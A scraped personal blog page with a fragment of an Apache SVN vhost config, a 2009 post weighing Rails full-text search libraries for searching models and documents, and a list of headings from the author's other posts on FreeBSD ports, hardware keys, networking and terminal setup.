      deny from all
      allow from all

    CustomLog "/var/log/apache2/svn.bapt.name-access_log" common

/usr/local/etc/rc.d/apache22 restart

Searching model and documents in Rails

Mon, 28 Sep 2009 16:41:51 +0000

Recovered 2026-07-13 from the Wayback Machine capture of 2010-08-01 of my first (Rails-based) blog. Original publication: 2009-09-28.

I have to implement a search facility for a rails application. Search should be done inside one model and inside files.

I found some links on this: http://blog.zmok.net/articles/2006/09/04/full-text-search-in-ruby-on-rails-2-mysql http://blog.zmok.net/articles/2006/10/18/full-text-search-in-ruby-on-rails-3-ferret http://blog.zmok.net/?s=Full+text+search+in+Ruby+on+Rails

Ferret seems to be able to search for files and acts_as_ferret allow to search into models, but how a search across both facilies could be done? It seems impossible to search across two indexes.

Sphinx/Ultrasphinx does not seems to be able to handle pdf, doc document indexing.

Solr/acts_as_solr is Java based.

Xapian/acts_as_xapian seems interesting and there are some ruby bindings.

Hyper Estraier/acts_as_searchable seenms also interesting

Posts on J'aime pas les piles

Maintaining Freebsd Ports

My requirements – wishes

Tooling

Setting the tools up

Run additional specific steps

Go-related changes

Rust-related changes

Update package list

Lint and test port

Once test are OK, publish changes back to the custom port overlay

Use case: updating rbw version and sending a new patch

Make a patch to send to bugzilla

To be followed

References

Using Caddy to Serve Poudriere

Installing Caddy

Configuring Caddy

Configuring a FreeBSD to use the repositoy exposed via Caddy

Building Freebsd Ports

Back to an old platonic love

My requirements - wishes

Tooling

Setting the tools up

Preparing for building in Jails with Poudriere

Installing poudriere, portshaker and friends

Setting up poudriere

Configuring poudriere

Creating the build jail

Creating the ports tree

Setting up portshaker

Creating a ZFS dataset for the portshaker cache

Configuring the ports trees portshaker will maintain and merge

Configuring portshaker

Using portshaker

Using custom option allowing to build Obsidian

Building the ports

Using the ports

Testing a port in a jail

To be followed

References

Using Nitrokey Pro and Fido2

Using the Nitrokey Pro 2 with S/MIME

Using neomutt with S/MIME certificate on the Nitrokey Pro 2

Using the Nitrokey Pro 2 with GPG/PGP

Preparing the GPG keys

Setup on Archlinux

Usage with neomutt

Usage on MacOS X

Usage on Windows 10

2 Factor authentication with the FIDO U2F

BitWarden

GitHub

Documnentation

SQM QoS OpenWrt OpenMPTCProuter

Doing QoS with OpenMPTCProuter

Measuring the current speed of the setup

Measuring speed from the CLI

Computing the download and upload caps

Configuring SQM in OpenMPTCProuter

Arpspoof Arp Cache Poisoning

Prerequisites

Listening to traffic between two VMs

Pretending to be the default gateway

Archlinux cleaning installed packages groups with Pacman

Copy Paste With Vim and Tmux

Copying between two VIM sessions

Copying using TMUX

Copying from TMUX to VIM

Terminal setup ZSH tmux powerlevel10k

Terminal: iTerm2 or gnome-terminal with Hack Nerd font

Shell: ZSH with zplug and powerlevel10k

Terminal multiplexer: tmux with tmux-nord and tpm

Text editor: neovim with vim-plug, nord theme and too many things

Monitoring with Sensu

Installing Sensu

Installing the backend

Installing the client

Configure CA and certificates

Allowing client and agents to connect to the backend